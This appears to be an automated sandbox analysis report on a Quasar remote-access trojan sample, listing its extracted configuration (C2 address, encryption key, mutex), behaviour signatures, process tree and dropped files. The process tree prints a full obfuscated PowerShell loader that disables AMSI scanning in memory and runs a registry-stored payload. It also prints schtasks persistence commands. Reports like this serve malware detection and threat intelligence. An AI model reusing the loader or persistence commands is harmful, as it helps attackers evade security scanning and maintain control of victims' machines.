Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 01:09

General

  • Target
    31f0e68a0fb8a6e1714ade7379d486d56aa1421d2f22ff3d632c1fe24f59457a.exe
  • Size 297KB
  • Sample240504-bjbedahd5z
  • SHA256 31f0e68a0fb8a6e1714ade7379d486d56aa1421d2f22ff3d632c1fe24f59457a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 3.1.5

Botnet
  • RSlaveReel

C2
  • 147.185.221.19:33587

Mutex
  • $Sxr-PODin6zbdvLuVkqKla

Attributes
  • encryption_key

    myaDwGp04jmlN7Zrz509

  • install_name

    WindowsDllRunHost.exe

  • log_directory

    Update Logs

  • reconnect_delay

    3000

  • startup_key

    WindowsBIOSUpdx64

  • subdirectory

    orbitpaid

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 2 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a88e3014-835c-44d6-b27a-0b5f87a5cb4b}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:468
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:676
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:956
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:764
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:920
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              PID:1104
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:672
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pAncmOOpWWBx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wVtjsmLGvsODEf,[Parameter(Position=1)][Type]$CTasNALxuZ)$sXnPJhjWkeZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+'tedDe'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+'l'+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'t'+'o'+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$sXnPJhjWkeZ.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+'i'+''+'a'+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+'yS'+[Char](105)+'g'+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wVtjsmLGvsODEf).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$sXnPJhjWkeZ.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+'Slot'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$CTasNALxuZ,$wVtjsmLGvsODEf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+'ed');Write-Output $sXnPJhjWkeZ.CreateType();}$fOVWDXvwCzXqX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+'f'+''+'t'+''+[Char](46)+'Win'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+'Na'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$SmezjuKRMqEHER=$fOVWDXvwCzXqX.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+'c'+''+'A'+'d'+'d'+'r'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('Pub'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+'ta'+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YprSWXDlTOvOjRIcLPy=pAncmOOpWWBx @([String])([IntPtr]);$XmZoHzlqPvTQkauhgvcYdM=pAncmOOpWWBx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RvwsyvQjpAa=$fOVWDXvwCzXqX.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+'e'+[Char](72)+''+'a'+'n'+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+'3'+'2'+'.'+''+[Char](100)+''+[Char](108)+'l')));$eYxoLaTZFrIzIn=$SmezjuKRMqEHER.Invoke($Null,@([Object]$RvwsyvQjpAa,[Object]('L'+'o'+''+[Char](97)+'d'+'L'+''+'i'+'b'+[Char](114)+''+[Char](97)+'r'+'y'+'A')));$qDmDIREOGSdvqoqVb=$SmezjuKRMqEHER.Invoke($Null,@([Object]$RvwsyvQjpAa,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+'P'+'ro'+[Char](116)+''+[Char](101)+'ct')));$cHDmwpe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eYxoLaTZFrIzIn,$YprSWXDlTOvOjRIcLPy).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$CXBLOBxVhPtfTTzIt=$SmezjuKRMqEHER.Invoke($Null,@([Object]$cHDmwpe,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+'S'+'ca'+'n'+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$QtktxVDHiH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qDmDIREOGSdvqoqVb,$XmZoHzlqPvTQkauhgvcYdM).Invoke($CXBLOBxVhPtfTTzIt,[uint32]8,4,[ref]$QtktxVDHiH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CXBLOBxVhPtfTTzIt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qDmDIREOGSdvqoqVb,$XmZoHzlqPvTQkauhgvcYdM).Invoke($CXBLOBxVhPtfTTzIt,[uint32]8,0x20,[ref]$QtktxVDHiH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'TWA'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                  2⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1728
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1116
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                  1⤵
                    PID:1124
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1132
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1252
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1296
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:2940
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                            • Drops file in System32 directory
                            PID:1364
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1460
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1468
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                1⤵
                                  PID:1496
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1584
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1612
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1652
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1692
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1768
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1828
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1864
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1872
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1912
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1936
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2032
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:1720
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2280
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2288
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2324
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2360
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2496
                                                              • C:\Windows\sysmon.exe
                                                                C:\Windows\sysmon.exe
                                                                1⤵
                                                                  PID:2520
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:2548
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                  1⤵
                                                                    PID:2588
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2608
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2992
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3016
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:3140
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3368
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious use of UnmapMainImage
                                                                              PID:3460
                                                                              • C:\Users\Admin\AppData\Local\Temp\31f0e68a0fb8a6e1714ade7379d486d56aa1421d2f22ff3d632c1fe24f59457a.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\31f0e68a0fb8a6e1714ade7379d486d56aa1421d2f22ff3d632c1fe24f59457a.exe"
                                                                                2⤵
                                                                                • Checks computer location settings
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1824
                                                                                • C:\Users\Admin\AppData\Local\Temp\IDTOIPBYR_0.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\IDTOIPBYR_0.exe"
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:1476
                                                                                • C:\Users\Admin\AppData\Local\Temp\Update.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Update.exe"
                                                                                  3⤵
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:2400
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    "schtasks" /create /tn "WindowsBIOSUpdx64" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Update.exe" /rl HIGHEST /f
                                                                                    4⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:4532
                                                                                  • C:\Users\Admin\AppData\Roaming\orbitpaid\WindowsDllRunHost.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\orbitpaid\WindowsDllRunHost.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3548
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      "schtasks" /create /tn "WindowsBIOSUpdx64" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\orbitpaid\WindowsDllRunHost.exe" /rl HIGHEST /f
                                                                                      5⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:3256
                                                                                  • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1112
                                                                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                    "SCHTASKS.exe" /create /tn "$77Update.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Update.exe'" /sc onlogon /rl HIGHEST
                                                                                    4⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:3240
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                              1⤵
                                                                                PID:3564
                                                                              • C:\Windows\system32\DllHost.exe
                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                1⤵
                                                                                  PID:3772
                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                  1⤵
                                                                                  • Modifies registry class
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3924
                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                  1⤵
                                                                                    PID:4152
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                    1⤵
                                                                                      PID:1040
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                      1⤵
                                                                                        PID:3872
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                        1⤵
                                                                                        • Modifies data under HKEY_USERS
                                                                                        PID:3848
                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                        1⤵
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        PID:1884
                                                                                      • C:\Windows\system32\SppExtComObj.exe
                                                                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3096
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                          1⤵
                                                                                            PID:3412
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4728
                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                            1⤵
                                                                                              PID:3972
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                              1⤵
                                                                                                PID:1564
                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:4500
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:3316
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                    • Modifies registry class
                                                                                                    PID:700
                                                                                                  • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                    C:\Windows\System32\WaaSMedicAgent.exe 39a0206d8699e83842e44268b952d3dc xiu/uw2jz0+HaHKD9LbHYQ.0.1.0.0.0
                                                                                                    1⤵
                                                                                                    • Sets service image path in registry
                                                                                                    PID:2800
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      2⤵
                                                                                                        PID:2644
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                      1⤵
                                                                                                        PID:5084
                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                        1⤵
                                                                                                        • Checks BIOS information in registry
                                                                                                        • Checks SCSI registry key(s)
                                                                                                        • Enumerates system info in registry
                                                                                                        PID:644
                                                                                                      • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                        C:\Windows\servicing\TrustedInstaller.exe
                                                                                                        1⤵
                                                                                                          PID:972
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                          1⤵
                                                                                                            PID:4956
                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Checks processor information in registry
                                                                                                            • Enumerates system info in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3488
                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                            1⤵
                                                                                                              PID:632
                                                                                                            • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                              1⤵
                                                                                                                PID:1676
                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                1⤵
                                                                                                                  PID:3088
                                                                                                                • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                  "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                  1⤵
                                                                                                                    PID:1948

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        V01.chk

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\V01.chk
                                                                                                                        • Size 8KB
                                                                                                                        • SHA256 881d003f22a3db599df71cf1456adc7293f3ed68494d84ab6f140f6867fab7f2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        IDTOIPBYR_0.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IDTOIPBYR_0.exe
                                                                                                                        • Size 139KB
                                                                                                                        • SHA256 7d520ade71bbd117074f1c071c68021edbf8c0ff79729cdca6a556eac338bafd
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        Install.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                                        • Size 162KB
                                                                                                                        • SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        Update.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Update.exe
                                                                                                                        • Size 409KB
                                                                                                                        • SHA256 bb450aec5b543dd30c3ce33c731340a3c601afa75ca2670dfc0bf547be064dd0
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        Schedule Maintenance Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        Schedule Maintenance Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        Schedule Wake To Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        Schedule Wake To Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        Schedule Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        Schedule Work

                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        __PSScriptPolicyTest_5mmvch3j.hhd.ps1

                                                                                                                        • Path C:\Windows\Temp\__PSScriptPolicyTest_5mmvch3j.hhd.ps1
                                                                                                                        • Size 60B
                                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        memory/316-115-0x00000216C1120000-0x00000216C114B000-memory.dmp

                                                                                                                        memory/316-116-0x00007FFF8E3F0000-0x00007FFF8E400000-memory.dmp

